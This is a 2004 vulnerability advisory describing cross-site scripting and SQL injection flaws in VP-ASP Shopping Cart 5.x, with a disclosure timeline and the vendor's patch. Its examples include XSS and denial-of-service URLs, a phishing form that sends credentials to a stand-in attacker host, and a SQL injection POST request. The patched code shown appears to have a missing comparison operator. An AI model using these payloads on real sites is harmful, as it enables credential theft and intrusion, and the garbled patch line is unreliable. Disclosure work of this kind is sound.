vpasp5x.txt

`VP-ASP Shopping Cart Multiple Vulnerabilities  
  
Release Date:  
June 14, 2004  
  
Severity:  
High  
  
Vendor:  
Virtual Programming  
  
Software:  
VP-ASP Shopping Cart Version 5.x  
  
Remote:  
Remotely executable  
  
Vulnerabilities:  
Cross Site Scripting  
SQL Injection  
  
Technical Details:  
Cross Site Scripting Vulnerability was originally found Dec 05, 2003.  
http://archives.neohapsis.com/archives/bugtraq/2003-12/0080.html  
Vendor Fix for this was to write a subroutine that validated for <script>.  
  
On May 14, 2004 Tom Ryan found the vulnerability was still there and did  
further research.  
Research showed the application still highly vulnerable to Cross Site  
Scripting and Also SQL Injection. The examples below are there to show just  
how serious a Cross-Site Scripting Attack can be. It's not just a JavaScript  
attacks like many people seem to believe.  
  
Timeline:   
05/14/2004 Vulnerability Found  
05/26/2004 Reported to Vendor  
06/09/2004 Contacted Vendor Again  
06/10/2004 Developed a document for vendor showing block for <script>  
doesn't work  
06/11/2004 Vendor researching for quick fix for current customers  
06/12/2004 Vendor Release vulnerability fix without me testing and no  
credit for research  
http://secunia.com/advisories/11846/  
06/12/2004 Tom Ryan tested VP-ASP Cart and Cart Failed to Validate for  
URL-Encoding  
06/13/2004 Worked with Virtual Programming to fix all problems.  
06/14/2004 Tom Ryan detailed vulnerability release  
  
The application was still vulnerable to URL-Encoding.  
  
Pages Affected  
---------------------------  
ALL  
  
  
Examples:  
  
Cross Site Scripting  
------------------------  
http://[VICTIM]/vpasp/shopdisplayproducts.asp?id=5&cat=<img%20src="javascrip  
t:alert('XSS')">  
http://[VICTIM]/vpasp/shoperror.asp?msg=<img%20src="javascript:alert('XSS')"  
>  
  
  
Denial of Service  
----------------------  
http://[VICTIM]/vpasp/shopdisplayproducts.asp?id=5&cat=<meta%20http-equiv='r  
efresh'content='0'>  
http://[VICTIM]/vpasp/shoperror.asp?msg=<meta%20http-equiv='refresh'content=  
'0'>  
  
  
Parameter Tampering / Phishing Scam  
---------------------------------------  
http://[VICTIM]/vpasp/shopdisplayproducts.asp?id=5&cat=<form%20action="http:  
//www.evilhacker.com/save2db.asp"%20method="post">Username:<input%20name="us  
ername"%20type="text"%20maxlength="30"><br>Password:<input%20name="password"  
%20type="text"%20maxlength="30"><br><input%20name="login"%20type="submit"%20  
value="Login"></form>  
  
  
SQL Injection  
----------------------------------------  
POST /vpasp/shopproductselect.asp HTTP/1.0  
Referer:  
http://[VICTIM]:80/vpasp/shopdisplayproducts.asp?id=6&cat=Groceries  
Content-Length: 227  
Content-Type: application/x-www-form-urlencoded  
Connection: Close  
Host: [VICTIM]  
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)  
Pragma: no-cache  
Cookie: ALT.COOKIE.NAME.2=8P.9.7080.2N2,20.B9N9P954OO4OM4,4;  
CustomCookie=TommyRyan  
  
x1Feature1=28&x2Feature1=18&prodindex=3&quantity=1&quantity=1&quantity=1&act  
ion.x=5&action.y=5&Processed0=15+AND+'a'>'z'&Processed1=14+AND+'a'>'z'&x2Fea  
turevalue1=19%2C+17%2C+18&Processed2=16&x1FeatureValue1=+2+dozen+%5B3.50%5D  
  
  
  
Vendor Status:  
Vendor released a fix  
http://www.vpasp.com/virtprog/info/faq_securityfixes.htm  
  
Replace  
--------  
Sub CleanseMessage (msg, rc)  
dim lmsg, pos  
lmsg=lcase(msg)  
pos=instr(lmsg, "<script>")  
If pos> 0 then  
rc=4  
else  
rc=0  
end if  
end sub  
  
  
With  
-----  
  
Sub CleanseMessage (msg, rc)  
dim lmsg, pos  
lmsg=lcase(msg)  
pos=instr(lmsg, "<script>")  
If pos0 then  
rc=4  
else  
rc=0  
msg=server.htmlencode(msg)  
end if  
end sub  
  
  
Advisory:  
http://www.providesecurity.com/research/advisories/06142004-01.asp  
  
  
Credit:  
Discovered By: Thomas Ryan  
Provide Security  
  
Patched By: Howard Kadetz  
Viirtual Programming  
  
  
Copyright (c) 2004 Provide Security  
Permission is hereby granted for the redistribution of this alert  
electronically. It is not to be edited in any way without the expressed  
written consent of Provide Security. If you wish to reprint the whole or any  
part of this advisory in any other medium excluding electronic medium,  
please email [email protected] for permission.  
  
  
Disclaimer  
The information within this paper may change without notice. Use of this  
information constitutes acceptance for use in an AS IS condition. There are  
no warranties, implied or express, with regard to this information. In no  
event shall the author be liable for any direct or indirect damages  
whatsoever arising out of or in connection with the use or spread of this  
information. Any use of this information is at the user's own risk.  
`